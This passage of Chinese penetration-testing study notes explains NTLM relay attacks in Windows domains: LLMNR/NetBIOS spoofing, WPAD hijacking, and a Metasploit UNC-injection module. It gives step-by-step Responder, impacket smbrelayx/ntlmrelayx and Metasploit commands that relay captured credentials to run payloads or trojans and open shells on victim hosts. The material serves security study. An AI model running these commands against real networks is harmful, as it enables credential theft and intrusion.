截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制。例:
域内A访问B,攻击者C作为中间人,骗取A的身份凭证访问B(骗取过程可用建立smb服务器诱导登录等)
或A请求了一个不存在的账户,导致凭证经过了伪造的服务器
smb认证获取的机器没有开启smb签名(默认普通主机不开,DC开,cve-2019-1040绕过了该限制)
支持协议:SMB、HTTP、LDAP、MSSQL、Exchange等
LLMNR和NetBIOS欺骗
Windows系统名称解析顺序为 :
1)本地hosts文件(%windir%\System32\drivers\etc\hosts)
2)DNS缓存/DNS服务器
3)链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)
当本地缓存没找到名称,DNS服务器又请求失败,Windows就会通过LLMNR与Net-BIOS在本地进行名称解析。
客户端会将未认证的UDP广播到网络进行询问,从而使攻击者可以声明自己为受害者目标机器,从而让其交出凭证
(攻击本质是中间人)
WPAD劫持
WPAD (网络代理自动发现协议)是一种客户端使用DCHP、DNS、LLMNR、NBNS协议定位一个代理配置文件(PAC)URL的方法。
WPAD通过让浏览器自动发现代理服务器,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络
典例:利用LLMNR/NBNS欺骗让受害者从攻击者获取PAC文件,PAC文件指定攻击者为代理服务器,
然后攻击者就可劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得其Net-NTLMHash
当浏览器设置为 “自动检测代理设置”,它就会下载攻击者事先准备好的wpad.dat文件,使客户端的流量经过攻击者
Msf
metasploit中的auxiliary/docx/word_unc_injector会创建一个带有uac路径的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。
其他方式
暴力破解,文件包含、XSS等传统漏洞
用法:https://www.jianshu.com/p/1b545a8b8b1e
responder(Python编写)
下载:GitHub - lgandx/Responder: Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.
Inveigh(powershell编写)
下载:GitHub - Kevin-Robertson/Inveigh: .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers
用法:NTLM-relay攻击的原理与实现_Shanfenglan7的博客-CSDN博客_ntlmssp攻击原理
impacket
由于各主机无信任关系,只在自己的SAM存密码,所以Relay到别人无意义,只能Relay到自己
MS08-068漏洞修复后,除CVE-2019-1384(Ghost Potato)外无法Relay到自己
MultiRelayx(responder)
1)扫描域内机器SMB签名开放情况:./RunFinger.py -i IP/24
2)若签名为false,开启攻击监听: python MultiRelay.py -t <被攻击IP> -u ALL
3)修改responder的配置文件 Responder.conf,不让其对 hash 进行抓取:将SMB和HTTP的On改为Off
4)启用LLMNR和NetBIOS请求监听:responder(.py) -i eth1
5)域内任意主机A输入:net use \\\\不存在的主机名 ,即可使用A的凭证控制被攻击主机
smbrelayx.py(impacket)
1)攻击者 ./smbrelayx.py -h <受害者 IP> -c Command
2) 域内任意主机 net use \\\\攻击者\\c$
其中-c 后可跟payload或**本地木马**,如 -e ./shell.exe
msf监听需设置: set AutoRunScript migrate -n explorer.exe
(迁移进程到资源管理器,否则session会随木马自动清除而关闭)
ntlmrelayx.py(impacket)
可直接使用已有hash重放指定机器: ./ntlmrelayx.py -t <指定的被攻击 IP>
1)./ntlmrelayx.py -t smb://被害IP -c whoami -smb2support
2)其他人访问攻击者smb或http服务交出凭据
利用responder:
1) ntlmrelayx.py -t 受害IP -c 'powershell payload'
2)responder 关掉 smb 和 http后启动:responder(.py) -i eth1
3)任意主机 net use \\\\whoami 产生smb流量
msf中windows/smb/smb_relay模块(ms08-068?)
参数设置完run后,被害者需访问攻击者的smb服务,即可弹shell
(该模块只支持NTLMv1,所以在攻击有些机器会出现“Failed to authenticate”)
Windows内网协议学习NTLM篇之Net-NTLM利用 - 安全客,安全资讯平台
原文:内网渗透测试:NTLM Relay攻击分析_whatday的博客-CSDN博客_ntlmrelayx
原文拓展:https://www.jianshu.com/p/c7d8e7d9c03c
另一篇:NTLM-relay攻击的原理与实现_Shanfenglan7的博客-CSDN博客_ntlmssp攻击原理